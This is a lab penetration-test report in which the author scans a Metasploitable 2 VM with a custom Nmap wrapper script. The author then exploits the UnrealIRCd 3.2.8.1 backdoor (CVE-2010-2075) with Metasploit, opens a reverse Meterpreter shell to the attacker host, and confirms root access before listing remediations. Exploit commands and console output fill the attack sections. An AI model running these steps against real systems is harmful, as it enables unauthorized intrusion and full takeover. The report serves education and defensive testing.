

Exploitation of UnrealIRCd 3.2.8.1 Backdoor Remote Command Execution Using InfoGather and Metasploit

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Target System: Metasploitable 2 Linux VM (192.168.83.131)

Attacker Platform: Kali Linux (192.168.83.129)

Used Automation Tool: [InfoGather v1.0](#)

Assessment Date: July 18, 2026

1.Executive Summary

The penetration testing of the **Metasploitable 2** virtual machine has been completed in a laboratory setting to check the security of the system and detect any vulnerabilities that can be exploited. Information gathering was done by using **InfoGather v1.0** – the custom Bash automation script written by the author, which performed automatic discovery of hosts, scanning for TCP ports and services enumeration using Nmap. The IRC service **UnrealIRCd 3.2.8.1** running on the TCP port **6667** has been found.

Additional research revealed that the service is vulnerable to **CVE-2010-2075** - the critical backdoor remote code execution vulnerability. It has been successfully exploited using Metasploit Framework and allowed gaining control of the system through Meterpreter session.

Risk Summary Matrix

Metric	Details
Max Risk Rating	CRITICAL (10.0 / 10.0)
Primary Vulnerability	Unauthenticated Remote Code Execution (CVE-2010-2075)
System Compromise	Complete Administrative Takeover (Root Access Acquired)
Data Confidentiality	Severely Compromised — Full read access to filesystem and database parameters.
System Integrity	Severely Compromised — Full write, modify, and delete access over binary files and system logs

2. Scope and Methodology

2.1 Scope

The test was carried out under laboratory conditions, where the target system was Metasploitable 2 and the attack system was Kali Linux. The goal was to detect any vulnerabilities present in the target system through a penetration test. The particular focus of the assessment was the service of UnrealIRCd 3.2.8.1 that runs on port 6667

2.2 Methodology

The assessment followed a standard penetration testing methodology consisting of the following phase:

- Reconnaissance
- Automated Information Gathering
- Vulnerability Assessment
- Exploitation
- Post-Exploitation Validation

3. Technical Finding and Exploitation Phase

Finding: UnrealIRCd 3.2.8.1 Backdoor Remote Command Execution

Field	Details
Vulnerability Type	Remote Code Execution
CVSS v3 Base Score	9.8(Critical)
CVE ID	CVE-2010-2075
Affected Service	UnrealIRCd 3.2.8.1
Default Port	TCP 6667
Authentication Required	No
Access Vector	Remote
Impact	Complete system compromise through arbitrary command execution

Step1. Automated Information Gathering

Objective: Identify active hosts, discover open TCP ports, and enumerate running services using an automated reconnaissance tool.

Tool used: [InfoGather v1.0 \(Custom Bash Automation Tool\)](#)

Description: The reconnaissance process was carried out using InfoGather v1.0, which is an open-source Bash script created to conduct automated information gathering. InfoGather conducts the host scanning, a full TCP scan, and service enumeration using the Nmap tool. The findings of the scans are saved in different files automatically.

Command used: `./InfoGather.sh <Victim ip>`

Internal Workflow: The tool automatically performs the following Nmap scans:

- Host Discovery
`nmap -sn <victim ip>`
- Open TCP Port Discovery
`nmap -T4 -p- <victim ip>`
- Service Enumeration
`Nmap -A -p <open_ports><victim ip>`

Result: This scan detected various services running on the target machine. Of all these services, the one running on TCP port 6667 is UnrealIRCd 3.2.8.1, which is a vulnerable version having an open backdoor that enables remote command execution without authentication.

```
(sudip@kali)-[~/PentestTools]
$ ./info_gather.sh 192.168.83.131

=====
INFOGATHER v1.0
=====

[1/3] Host Discovery ...
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-18 12:41 +0545
Nmap scan report for 192.168.83.131
Host is up (0.00063s latency).
MAC Address: 00:0C:29:70:6F:6F (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds

[2/3] Discovering Open TCP Ports ...

Open Ports:
21,22,23,25,53,80,111,139,445,512,513,514,1099,1524,2049,2121,3306,3632,5432,5900,6000,6667,6697,8009,8180,8787,38049,41696,47795,53527

[3/3] Service Enumeration ...
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-18 12:41 +0545
Nmap scan report for 192.168.83.131
Host is up (0.00145s latency).

PORT      STATE SERVICE          VERSION
21/tcp    open  ftp              vsftpd 2.3.4
|_ftp-syst:
|_STAT:
|_FTP server status:
|_   Connected to 192.168.83.129
|_   Logged in as ftp
|_   TYPE: ASCII
|_   No session bandwidth limit
|_   Session timeout in seconds is 300
|_   Control connection is plain text
|_   Data connections will be plain text
|_   vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh              OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:ca:d5:6c:cd (DSA)
|_   2048 56:16:24:0f:21:1d:de:a7:1b:ae:01:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet           linux telnetd
25/tcp    open  smtp             Postfix smtpd
|_smtp-command: V=Metasploit3.6-Localdomain, PIPELINING, SIZE 10240800, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-cert: Subject: commonName=ubuntu004-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2026-07-18T06:58:27+00:00; +1s from scanner time.
|_sslv2:
|_   sslv2 supported
|_   ciphers:
|_   SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_   SSL2_RC4_128_EXPORT40_WITH_MD5
|_   SSL2_RC2_128_CBC_WITH_MD5
|_   SSL2_DES_64_CBC_WITH_MD5
|_   SSL2_DES_192_EDE3_CBC_WITH_MD5
|_   SSL2_RC4_128_WITH_MD5
53/tcp    open  domain          ISC BIND 9.4.2
|_dns-nsid:
|_   bind.version: 9.4.2
80/tcp    open  http             Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2

|_   bind.version: 9.4.2
80/tcp    open  http             Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp   open  rpcbind          2 (RPC #100000)
|_rpcinfo:
|_   program version port/proto service
|_   100003 2,3,4 2049/tcp nfs
|_   100003 2,3,4 2049/udp nfs
|_   100003 1,2,3 40965/udp mountd
|_   100005 1,2,3 53527/tcp mountd
|_   100021 1,3,4 38049/tcp nlockmgr
|_   100021 1,3,4 54759/udp nlockmgr
139/tcp   open  netbios-ssn     Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn     Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec            netkit-rsh rshexec
513/tcp   open  login           openssh or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi        GNU Classpath gsmiregistry
1524/tcp  open  bindshell       Metasploitable root shell
2049/tcp  open  nfs             2-4 (RPC #100003)
2121/tcp  open  ftp             ProFTPD 1.3.1
3306/tcp  open  mysql           MySQL 5.0.51a-Subuntus

|_mysql-info:
|_   Protocol: 10
|_   Version: 5.0.51a-Subuntus
|_   Thread ID: 21
|_   Capabilities flags: 43564
|_   Some Capabilities: SupportsCompression, Speaks41ProtocolNew, LongColumnFlag, SwitchToSSLAfterHandshake, ConnectWithDatabase, SupportsTransactions, Supp
0744/auth
|_   Status: Autocommit
|_   Salt: D7KUOT;1~"JL3oqh8r
3632/tcp  open  distccd         distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql      PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2026-07-18T06:58:27+00:00; +1s from scanner time.
|_ssl-cert: Subject: commonName=ubuntu004-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
5900/tcp  open  vnc             VNC (protocol 3.3)
|_vnc-info:
|_   Protocol version: 3.3
|_   Security types:
|_   VNC Authentication (2)
6000/tcp  open  x11             (access denied)
6667/tcp  open  irc             UnrealIRCd
6697/tcp  open  irc             UnrealIRCd
|_irc-info:
|_   users: 1
|_   servers: 1
|_   lusers: 1
|_   lservers: 0
|_   server: irc.Metasploitable.LAN
|_   version: Unreal3.2.8.1, irc.Metasploitable.LAN
|_   uptime: 0 days, 0:11:17
|_   source ident: nmap
|_   source host: 89FA301.93D13F46.FFFA6D49.IP
|_   error: Closing link: hbalapbab[192.168.83.129] (Quit: hbalapbab)
8009/tcp  open  ajp13           Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp  open  http            Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/5.5
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
```

```

8787/tcp open  drb      Ruby DRB RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbb)
38049/tcp open  nlockmgr  1-4 (RPC #100021)
41696/tcp open  status    1 (RPC #100024)
47795/tcp open  java-rmi   GNU Classpath grmiregistry
53527/tcp open  mountd    1-3 (RPC #100005)
MAC Address: 08:0C:29:79:6F:6F (VMware)
Warning: OSscan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_ clock-skew: mean: 1h00m00s, deviation: 2h00m00s, median: 0s
|_ smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|   System time: 2026-07-18T02:58:19-04:00
|_ smb2-time: Protocol negotiation failed (SMB2)
|_ smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)

TRACEROUTE
HOP RTT      ADDRESS
1   1.45 ms  192.168.83.131

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.79 seconds

=====
Scan Complete!
=====

Results saved in ./scans/

```

Step2. Vulnerability Assessment

Objective: To uncover and test any vulnerabilities in relation to the services detected through the information gathering process.

Description: During the service enumeration performed by InfoGather v1.0, it was detected that UnrealIRCd 3.2.8.1 is running on the port 6667 using TCP protocol. The particular software version is known to have CVE-2010-2075 backdoor vulnerability for unauthenticated remote command execution.

It was confirmed that the version of the service detected is vulnerable to one of the published vulnerabilities, thus the Metasploit Framework exploit module `exploit/unix/irc/unreal_ircd_3281_backdoor` was chosen for testing the vulnerability in a controlled lab environment.

Evidence: Service enumeration detected the following service:

```

6000/tcp open  X11      (access denied)
6667/tcp open  irc      UnrealIRCd
6697/tcp open  irc      UnrealIRCd
|_ irc-info:
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN
|   uptime: 0 days, 0:11:17
|   source ident: nmap
|   source host: 89F8A301.93D13F46.FFFA6D49.IP
|_ error: Closing Link: hbalapbab[192.168.83.129] (Quit: hbalapbab)

```

Step3. Exploitation Using Metasploit

Objective: Exploit the UnrealIRCd 3.2.8.1 backdoor vulnerability to obtain remote command execution on the target system.

Description: Once the identification of the vulnerable UnrealIRCd 3.2.8.1 service was confirmed, Metasploit Framework was leveraged to exploit the backdoor. The module “exploit/unix/irc/unreal_ircd_3281_backdoor” was chosen, and the RHOSTS and LHOST IP addresses were specified. The successful exploitation of the vulnerability led to the establishment of the Meterpreter session.

Commands used:

- Msfconsole
- search unreal_ircd
- use exploit/unix/irc/unreal_ircd_3281_backdoor
- set RHOSTS <victim ip> set LHOST <attacker ip>
- run

Result: The attack was successful, and a Meterpreter session was obtained on the victim machine. This revealed that the UnrealIRCd service was vulnerable to attacks and could be accessed remotely without any authentication.

```

(sudip@kali)-[~]
$ msfconsole
Metasploit tip: Metasploit can be configured at startup, see msfconsole
--help to learn more

      .~+P-----o+::
      .+oooysyysyysyddh++os-
      ++++++sydhoyso/:. .... -/// ::+ohhyosyosyy/+om++:ooo///o
      ++++////////~////////+++++ooooysosso+++++/////////ooososy
      ---. .... -///+++++////////~////////+++++/////////

      .:~+P-----o+::
      .hmMMMMMMMMMMNddds\ ... //M\\ ... /hdddmMMMMMMNo
      :Nm-/NMMMMMMMMMMMMMM$$$NMMMMM66MMMMMMMMMMMMMMMy
      .sm/^-yMMMMMMMMMMMMMM$$$MMMMMMN66MMMMMMMMMMMMMMh
      -Nd` :MMMMMMMMMMMMMM$$$MMMMMMN66MMMMMMMMMMMMMMh
      -Nh` .yMMMMMMMMMMMMMM$$$MMMMMMN66MMMMMMMMMMMMMM/
      .sNd` :MMMMMMMMMMMMMM$$$MMMMMMN66MMMMMMMMMMMMMM/
      -mh` :MMMMMMMMMMMMMM$$$MMMMMMN66MMMMMMMMMMMMMMd
      :`-o+++o000+:/o0000+:+o+++o000++/
      .yNmMMh//+syysso-
      .shMMMMN//dmMMMMMMMMMMMMMMs`
      ///omh//dMMMMMMMMMMMMMMMMN/::::/+ooso--/ydh//+s+/osssso:-syN///os:
      /MMMMMMMMMMMMMMMMMMMMd.
      .hMMssddd+:dMMmNMMh.
      .sMMmo. -dMd--:mN/`
      ...../ydd/: ... +hmo- ... hdd:.....\\=v=//.....\\=v=//.....

+-----+
| Session one died of dysentery. |
+-----+

Press ENTER to size up the situation

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Press SPACE BAR to continue

=[ metasploit v6.4.135-dev ]
+ -- --=[ 2,654 exploits - 1,338 auxiliary - 2,141 payloads ]
+ -- --=[ 433 post - 49 encoders - 14 nops - 12 evasion ]

```

```

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search unrealircd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12      excellent Yes    UnrealIRCD 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor

msf > use 0
[*] Using configured payload cmd/linux/http/x86/meterpreter/reverse_tcp
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.83.131
RHOSTS => 192.168.83.131
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.83.129
LHOST => 192.168.83.129
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP handler on 192.168.83.129:4444
[*] 192.168.83.131:6667 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.83.131:6667 - Connected to 192.168.83.131:6667
[*] 192.168.83.131:6667 - Trying to register a new IRC user: shirley
[*] 192.168.83.131:6667 - The target appears to be vulnerable. UnrealIRCD detected after registration
[*] 192.168.83.131:6667 - Connected to 192.168.83.131:6667
[*] 192.168.83.131:6667 - Sending IRC backdoor command
[*] Sending stage (1062760 bytes) to 192.168.83.131
[*] Meterpreter session 1 opened (192.168.83.129:4444 -> 192.168.83.131:52070) at 2026-07-18 12:47:43 +0545

```


Step4. Post-Exploitation Validation

Objective: Confirm successful exploitation through the confirmation of remote access, user privilege, and interaction capabilities with the target system.

Description: Once the Meterpreter session was acquired, a number of post-exploitation commands were executed in order to ascertain whether a compromise had been made and at what level of access. The command `getuid` was used to determine the user, followed by the creation of an interactive shell where Linux commands would be run. Commands that were utilized included `whoami`, `id`, `pwd`, `ls`, and `ls -la`.

Commands used:

- `getuid`
- `shell`
- `whoami`
- `id`
- `pwd`
- `ls -la`

```
meterpreter > getuid
Server username: root
meterpreter > shell
Process 5683 created.
Channel 1 created.
whoami
root
id
uid=0(root) gid=0(root)
ls -la
total 404
drwx----- 7 root root 4096 Jul 18 03:02 .
drwxr-xr-x 94 root root 4096 Jul 18 03:00 ..
-rw----- 1 root root 1365 May 20 2012 Donation
-rw----- 1 root root 17992 May 20 2012 LICENSE
drwx----- 2 root root 4096 May 20 2012 aliases
--w-----r-T 1 root root 1175 May 20 2012 badwords.channel.conf
--w-----r-T 1 root root 1183 May 20 2012 badwords.message.conf
--w-----r-T 1 root root 1121 May 20 2012 badwords.quit.conf
-rwx----- 1 root root 242894 May 20 2012 curl-ca-bundle.crt
-rw----- 1 root root 1900 May 20 2012 dccallow.conf
drwx----- 2 root root 4096 May 20 2012 doc
--w-----r-T 1 root root 49552 May 20 2012 help.conf
-rw----- 1 root root 8083 Jul 18 03:02 ircd.log
-rw----- 1 root root 6 Jul 18 02:47 ircd.pid
-rw----- 1 root root 4 Jul 18 03:02 ircd.tune
drwx----- 2 root root 4096 May 20 2012 modules
drwx----- 2 root root 4096 May 20 2012 networks
-rwx----- 1 root root 207 Jul 18 03:02 oJoFXNmhyYr
--w-----r-T 1 root root 5656 May 20 2012 spamfilter.conf
drwx----- 2 root root 4096 Jul 18 02:47 tmp
-rwx----- 1 root root 4042 May 20 2012 unreal
--w-----r-T 1 root root 3884 May 20 2012 unrealircd.conf
pwd
/etc/unreal
```


4.Impact Assessment

Exploitation of the UnrealIRCd 3.2.8.1 backdoor vulnerability successfully results in an attacker being able to remotely run arbitrary operating system commands. As a result, full compromise of the system is achieved, which gives the attacker access to resources and disruption of normal system operations. Obtaining a Meterpreter session proves the impact level of the vulnerability in question.

Potential Impacts:

- Unauthorized remote access to the targeted system;
- Remote execution of arbitrary operating system commands;
- Compromise of confidentiality, integrity and availability of the entire system;
- Unauthorized access to confidential files and system information;
- Modification or deletion of critical system files;
- Deployment of malware or backdoors for later access;
- Using the compromised system to attack other systems within the network.

The successful exploitation of the vulnerability confirms that the vulnerable service of UnrealIRCd creates a Critical risk for the system.

5.Remediation and Recommendations

Immediate Actions:

- Update UnrealIRCd to a version that is not susceptible to the CVE-2010-2075 vulnerability.
- Delete or update any compromised or insecure IRC server binaries.
- Limit access to the IRC service through firewall configurations or turn off the service if unnecessary.
- Regular monitoring of network services for intrusion or any suspicious activity.

Long-term Security Measures:

- Develop a consistent patching strategy to keep all software up-to-date with security patches.
- Carry out vulnerability assessments and penetration testing periodically to discover any security vulnerabilities.

- Install Intrusion Detection and Prevention systems (IDS/IPS) to counteract any malicious activity.
- Centralized logging and continuous security monitoring should be implemented for better incident detection.
- Segmentation of the network to prevent further harm caused by a breached system.
- Adherence to the Principle of Least Privilege (PoLP) by only providing access permissions necessary to execute the intended function of the system or user.

6.Conclusion

Penetration testing has been successfully conducted and found to validate the existence of the UnrealIRCd 3.2.8.1 Backdoor Remote Code Execution vulnerability in the Metasploitable 2 target system. Reconnaissance conducted using the customized InfoGather v1.0 tool has efficiently discovered the presence of the said vulnerability using the automated process of host discovery, port scanning, and service enumeration. The vulnerability (CVE-2010-2075) has been successfully exploited through the use of the Metasploit Framework and has led to the successful acquisition of a Meterpreter session and execution of command on the target machine.

The assessment highlights the serious nature of vulnerabilities arising from the use of old software. Up-to-date software, vulnerability assessments, proper configuration, and continuous monitoring are necessary to minimize the possibility of security threats.

7. Disclaimer

This analysis was performed in a controlled laboratory setting for the purposes of education and authorized security testing only. All actions were carried out on systems where access was properly authorized. Unauthorized system scanning or exploitation without proper permission is unlawful.